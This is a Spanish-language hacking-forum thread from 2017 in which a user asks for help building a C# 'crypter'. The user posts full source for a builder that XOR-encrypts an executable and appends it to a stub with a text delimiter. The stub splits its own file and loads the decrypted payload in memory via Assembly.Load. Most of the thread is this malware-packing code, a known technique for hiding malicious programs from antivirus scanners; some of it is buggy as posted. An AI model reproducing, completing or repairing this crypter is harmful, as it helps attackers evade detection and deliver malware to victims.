elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Ayuda con este crypter en .net
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con este crypter en .net  (Leído 3,492 veces)
Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Ayuda con este crypter en .net
« en: 9 Mayo 2017, 13:41 pm »

Va estaba intentando cambiar un crypter para que lo haga directamente del stub el problema es el sigiente.
no sé como podría juntar dos byte arrays con un delimitador  y que cuando arranque mi programa sea capaz de obtenerlos por medio de un split.
el código es el siguiente.
Código:
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);

//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);

Console.WriteLine("[*] Save to Output File... ");

//Leer el fichero
Console.WriteLine("[*] Reading fichero...");
byte[] Stub = File.ReadAllBytes("rutafichero");

// ::: Create new List of bytes
var list = new List<byte>();
list.AddRange(encodedBytes);
list.AddRange(Stub);

// ::: Call ToArray to convert List to array
byte[] resultado = list.ToArray();

//write bytes
File.WriteAllBytes(outFile, resultado);

//File.WriteAllBytes(outFile, encodedBytes);
Console.WriteLine("Done!");

Console.WriteLine("\n[*] File successfully encoded!");
Entonces juntare ambos pero luego los separaré por medio del stub. Saludos y gracias.


« Última modificación: 9 Mayo 2017, 16:22 pm por Ragaza » En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
TickTack


Desconectado Desconectado

Mensajes: 428


CipherX


Ver Perfil
Re: Ayuda con este crypter en .net
« Respuesta #1 en: 9 Mayo 2017, 14:35 pm »

Hola Ragaza,

me puedes pasar el proyecto completo por favor?

Gracias y saludos!


En línea

Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Re: Ayuda con este crypter en .net
« Respuesta #2 en: 10 Mayo 2017, 21:35 pm »

Hola Ragaza,

me puedes pasar el proyecto completo por favor?

Gracias y saludos!
Hola no me fije que posteastes en el post.
El código del stub es:
Código:
using System;
using System.Collections.Generic;
using System.Data;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Runtime.InteropServices;
using System.Resources;
using System.Security.Cryptography;
using System.Reflection;
using Microsoft.Win32;

namespace skip
{
    static class Program
    {
        /// <summary>
        /// MAIN
        /// </summary>
        [STAThread]
        static void Main()
        {
        string appDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            //Application.Run(new Form1());

//leemos el byte array
byte[] file = File.ReadAllBytes(System.Reflection.Assembly.GetExecutingAssembly().Location);

//obtenemos la string
string str = System.Text.Encoding.ASCII.GetString(file);
string[] arr=str.Split(new string[] { "BLAUMOLAMUCHO" }, StringSplitOptions.None);
string a = arr[0];
string b = arr[1];

/*Console.WriteLine(a);
Console.WriteLine("------------------------------");
Console.WriteLine(b);
Console.ReadKey();*/


byte[] encodedBytes = Encoding.ASCII.GetBytes(a);
Stream stream = new MemoryStream(encodedBytes);
            FileStream fileStream = new FileStream(@"tola.exe", FileMode.Create, FileAccess.Write);
            for (int i = 0; i < stream.Length; i++)
                fileStream.WriteByte((byte)stream.ReadByte());
            //RunInternal(encodedBytes,"1234");
           


           
         }
       
        private static void RunInternal(byte[] exeName, String pass)
        {
            //Read the raw bytes of the file
            byte[] resourcesBuffer = exeName;

            //Decrypt bytes from payload
            byte[] decryptedBuffer = null;
            decryptedBuffer = decryptBytes(resourcesBuffer, pass);

         

            //If .NET executable -> Run
            if (System.Text.Encoding.ASCII.GetString(decryptedBuffer).Contains("</assembly>")) //Esto devuelve false
            {
                //Load the bytes as an assembly
                Assembly exeAssembly = Assembly.Load(decryptedBuffer);

                //Execute the assembly
                object[] parameters = new object[1];                //Don't know why but fixes TargetParameterCountException
           
                try{
                exeAssembly.EntryPoint.Invoke(null, parameters);
                }catch (Exception ex){
                Console.WriteLine(ex);
                Console.ReadKey();
                }
            }
            else
            {
                Console.WriteLine(Encoding.ASCII.GetString(decryptedBuffer));
                Console.ReadKey();
            }
 
        }

        /// <summary>
        /// Decrypt the Loaded Assembly Bytes
        /// </summary>
        /// <param name="payload"></param>
        /// <returns>Decrypted Bytes</returns>
        private static byte[] decryptBytes(byte[] bytes, String pass)
        {
            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] ^= XorBytes[i % XorBytes.Length];
            }

            return bytes;
        }
    }
}

Y el crypter es:
Código:
using System;
using System.Text;
using System.IO;
using System.Collections.Generic;
namespace Crypter
{
    class Program
    {
        [STAThread]
        static void Main(string[] args)
        {
            //No Arguments -> Exit
            if (args.Length < 2)
            {
                Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
                Environment.Exit(0);
            }

            String file = args[0];
            String pass = args[1];
            String outFile = "Crypted.exe";

            //If Output Name is specified -> Set it
            if (args.Length == 3)
            {
                outFile = args[2];
            }

            //File doesn't exist -> Exit
            if (!File.Exists(file))
            {
                Console.WriteLine("[!] The selected File doesn't exist!");
                Environment.Exit(0);
            }

            //Everything seems fine -> Reading bytes
            Console.WriteLine("[*] Reading Data...");
            byte[] plainBytes = File.ReadAllBytes(file);

            //Yep, got bytes -> Encoding
            Console.WriteLine("[*] Encoding Data...");
            byte[] encodedBytes = encodeBytes(plainBytes, pass);

            Console.WriteLine("[*] Save to Output File... ");

//Leer el stub
Console.WriteLine("[*] Reading Stub...");
byte[] Stub = File.ReadAllBytes("Stub.exe");

//byte separador
string strseperate = "BLAUMOLAMUCHO";
    byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);
    //byte[] toBytes = new byte[30];
   
//write bytes
//var stream
            //Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream("skip.skip.exe");
            //Console.WriteLine(stream);
            var s = new MemoryStream();
s.Write(Stub, 0, Stub.Length);
s.Write(toBytes, 0, toBytes.Length);
s.Write(encodedBytes, 0, encodedBytes.Length);
var b3 = s.ToArray();
Stream stream = new MemoryStream(b3);


            //Stream stream = new MemoryStream(encodedBytes);
            FileStream fileStream = new FileStream(@"out.exe", FileMode.Create, FileAccess.Write);
            for (int i = 0; i < stream.Length; i++)
                fileStream.WriteByte((byte)stream.ReadByte());

            Console.WriteLine("Done!");

            Console.WriteLine("\n[*] File successfully encoded!");
        }
        private static byte[] encodeBytes(byte[] bytes, String pass)
        {
            byte[] XorBytes = Encoding.Unicode.GetBytes(pass);

            for (int i = 0; i < bytes.Length; i++)
            {
                bytes[i] ^= XorBytes[i % XorBytes.Length];
            }

            return bytes;
        }
    }
}

El problema es que estaba haciendo con un delimitador pero si conviertes un byte array a cadena en mi caso lo muestra y lo escribes un .exe puede corromperse.
En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
TickTack


Desconectado Desconectado

Mensajes: 428


CipherX


Ver Perfil
Re: Ayuda con este crypter en .net
« Respuesta #3 en: 11 Mayo 2017, 14:51 pm »

Hola Ragaza,

la verdad que no entiendo. Es eso una instruccion para la consola a para un programa. Necesito el proyecto completo. Subelo en internet.

O dime con un ejemplo que es lo que quieres hacer por favor.

Gracias y saludos!
En línea

Borito30


Desconectado Desconectado

Mensajes: 481


Ver Perfil
Re: Ayuda con este crypter en .net
« Respuesta #4 en: 13 Mayo 2017, 20:13 pm »

Hola Ragaza,

la verdad que no entiendo. Es eso una instruccion para la consola a para un programa. Necesito el proyecto completo. Subelo en internet.

O dime con un ejemplo que es lo que quieres hacer por favor.

Gracias y saludos!
Hola tick tack si tienes tiempo libre y ganas de programar avisame por pm y método de contacto así avanzamos juntos en c# en nuestros ratos libres y podemos hacer aportes. salu2.
En línea

Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
funcionaria este crypter con su stub?
Programación Visual Basic
elguast 2 1,875 Último mensaje 14 Noviembre 2008, 14:36 pm
por elguast
ayuda con crypter
Programación Visual Basic
.:-sS.O.Ss-:. 2 2,514 Último mensaje 10 Marzo 2010, 16:20 pm
por .:-sS.O.Ss-:.
Ayuda con este pequeño crypter en c#
.NET (C#, VB.NET, ASP)
Borito30 0 1,751 Último mensaje 30 Marzo 2017, 01:31 am
por Borito30
Ayuda con este crypter en autoit
Scripting
Borito30 2 1,975 Último mensaje 2 Abril 2017, 01:49 am
por Borito30
MOVIDO: Ayuda con este crypter en autoit
Programación General
Eleкtro 0 1,603 Último mensaje 31 Marzo 2017, 23:12 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines